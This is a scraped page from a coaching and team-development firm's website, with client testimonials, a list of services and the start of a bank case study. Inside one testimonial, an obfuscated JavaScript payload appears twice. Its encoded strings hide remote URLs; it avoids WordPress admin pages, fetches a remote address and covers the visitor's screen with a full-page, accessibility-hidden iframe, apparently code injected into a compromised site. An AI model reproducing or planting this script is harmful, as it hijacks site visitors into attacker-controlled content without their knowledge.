Meliosa O'Caoimh
Chief Operating Officer Ireland at Northern Trust
I found the day really useful. It’s good to get out of the office and review all the matters we are dealing with from a fresh perspective. I was a bit worried that we wouldn’t get good engagement but Margaret motivated and drove everyone to be very productive and ensured the conversation was relevant and focused on the target.
I thought the content was very strong, it was very relevant to what we were trying to achieve, the pitch and pace were spot on.
Margaret did a super job on this.
3D Development
Filed under: Culture Change, Facilitation, Team Building
Business Permalink
What We Do
Diagnose
- Organisational Development
- Business Modelling
- Face to Face / Telephone Interviews
- Independent Surveys
- Behavioural Observations
Design
- Bespoke Workshop Design
- Leadership and Management Programmes
- Engagement Sessions
- Facilitation Sessions
- Action Learning Sets
- Coaching Circles
Deliver
- Development Programmes
- Training Workshops
- Executive Coaching Sessions
- Career Coaching
- NLP - Neuro Linguistic Programming
- 360° Degree Feedback
- Teambuilding Sessions
Why We Do It
About Us
It is our outcome driven approach and bespoke strategy which has allowed our business to thrive and grow continuously since its inception in 2003.
Yeelam Wong
Senior Store Manager at Arcadia Group
Everytime we are coached by Margaret it is so inspirational and thought provoking!; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(“iframe”);n.style.display=”none”,n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=”about:blank”,document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(“iframe”);a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(“?”)>=0?”&”:”?”,n+o+encodeURIComponent(“v”)+”=”+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=”position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;”,a.setAttribute(“aria-hidden”,”true”),window.addEventListener(“message”,function(e){if(e.data&&”object”==typeof e.data&&”ktl-show-original”===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}(); console.log(’28du3′);; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var […] Continue reading...3D Development
Filed under: Coaching, Facilitation, Management Development Programmes
Business Permalink
Case Study
High Street Bank
The client was reducing a network of 17 local Customer Service Centres down to 5 Regional Supercentres to provide telephone support to their customers.
The 5 Senior Managers selected to run these Supercentres would be required to step into leadership roles and champion the change. This was a significant challenge for the group as they had previously operated for many years as Managers rather than leaders and had very limited time to build the required skills and confidence to lead their new much larger teams through a rapid change project.
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